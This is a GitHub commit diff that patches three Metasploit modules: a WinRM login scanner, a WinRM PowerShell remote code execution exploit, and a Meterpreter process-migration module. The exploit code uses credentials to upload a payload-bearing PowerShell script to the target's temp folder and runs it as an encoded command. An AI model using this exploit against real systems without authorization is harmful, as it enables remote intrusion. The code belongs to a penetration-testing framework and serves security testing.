Skip to content

Commit 59f5d9b

Browse files
David MaloneyDavid Maloney
authored andcommitted
Man i'm rusty at writing for framework
Fixes up all sinn3r's findings so far
1 parent 00b9fb3 commit 59f5d9b

File tree

3 files changed

+16
-14
lines changed

3 files changed

+16
-14
lines changed

modules/auxiliary/scanner/winrm/winrm_login.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def initialize
2929
This module attempts to authenticate to a WinRM service. It currently
3030
works only if the remote end allows Negotiate(NTLM) authentication.
3131
Kerberos is not currently supported. Please note: in order to use this
32-
module without SSL, the 'AllowUnencrypted' winrm option must be set.
32+
module without SSL, the 'AllowUnencrypted' winrm option must be set.
3333
Otherwise adjust the port and set the SSL options in the module as appropriate.
3434
},
3535
'Author' => [ 'thelightcosine' ],

modules/exploits/windows/winrm/winrm_powershell.rb

Lines changed: 14 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -17,13 +17,13 @@ class Metasploit3 < Msf::Exploit::Remote
1717
Rank = ManualRanking
1818

1919
include Msf::Exploit::Remote::WinRM
20-
include Msf::Auxiliary::Report
20+
2121

2222
def initialize(info = {})
2323
super(update_info(info,
2424
'Name' => 'WinRM Powershell Remote Code Execution',
2525
'Description' => %q{
26-
This module uses valid credentials to login to the WinRM service
26+
This module uses valid credentials to login to the WinRM service
2727
and execute a payload as a powershell script. It then attempts to
2828
automigrate before the WinRS shell dies.
2929
@@ -71,18 +71,21 @@ def check
7171
end
7272

7373
def exploit
74-
unless check[0] == "vulnerable"
74+
unless check == Msf::Exploit::CheckCode::Vulnerable
7575
print_error "Unable to set Execution Policy"
7676
return
7777
end
7878
path = upload_script
79+
return if path.nil?
7980
exec_script(path)
8081
handler
8182
end
8283

8384
def upload_script
84-
path = temp_dir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
85-
print_status "uploading powershell script to #{path} "
85+
tdir = temp_dir
86+
return if tdir.nil?
87+
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
88+
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
8689

8790
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
8891
#add a sleep to the script to give us enoguh time to establish a session
@@ -118,21 +121,20 @@ def exec_script(path)
118121
def encoded_psh(script)
119122
script = script.chars.to_a.join("\x00").chomp
120123
script << "\x00" unless script[-1].eql? "\x00"
121-
if(defined?(script.encode))
122-
script = script.encode('ASCII-8BIT')
123-
script = Base64.strict_encode64(script)
124-
else
125-
script = Base64.encode64(script).chomp
126-
end
124+
script = Rex::Text.encode_base64(script).chomp
127125
cmd = "powershell -encodedCommand #{script}"
128126
end
129127

130128
def temp_dir
131129
print_status "Grabbing %TEMP%"
132130
resp,c = send_request_ntlm(winrm_open_shell_msg)
131+
if resp.nil?
132+
print_error "Got no reply from the server"
133+
return nil
134+
end
133135
unless resp.code == 200
134136
print_error "Got unexpected response: \n #{resp.to_s}"
135-
return
137+
return nil
136138
end
137139
shell_id = winrm_get_shell_id(resp)
138140
cmd = "echo %TEMP%"

modules/post/windows/manage/smart_migrate.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ def initialize(info={})
1818
super( update_info( info,
1919
'Name' => 'Windows Manage Process Migration',
2020
'Description' => %q{ This module will migrate a Meterpreter session.
21-
It will first attempt to mgirate to winlogon.exe . If that fails it will
21+
It will first attempt to migrate to winlogon.exe . If that fails it will
2222
then look at all of the explorer.exe processes. If there is one that exists
2323
for the user context the session is already in it will try that. Failing that it will fall back
2424
and try any other explorer.exe processes it finds},

0 commit comments

Comments
 (0)